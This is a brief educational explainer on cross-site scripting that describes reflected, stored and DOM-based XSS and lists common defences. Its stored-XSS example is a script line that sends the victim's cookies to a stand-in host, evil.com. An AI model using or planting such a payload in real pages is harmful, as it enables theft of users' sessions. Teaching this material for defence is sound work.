XSS (Cross-Site Scripting)

XSS (Cross-Site Scripting) is a vulnerability that allows injecting malicious JavaScript code into web pages viewed by other users. An attacker can steal cookies, sessions, or perform actions on behalf of the victim.

Types of XSS

Reflected XSS

Malicious code is reflected from the server in response:

https://site.com/search?q=<script>alert('XSS')</script>

Stored XSS

Code is stored on the server (comments, profiles):

<script>document.location='https://evil.com/steal?c='+document.cookie</script>

DOM-based XSS

Vulnerability in client-side JavaScript code.

Protection

• Content Security Policy (CSP)
• Output escaping
• HttpOnly cookies
• Input validation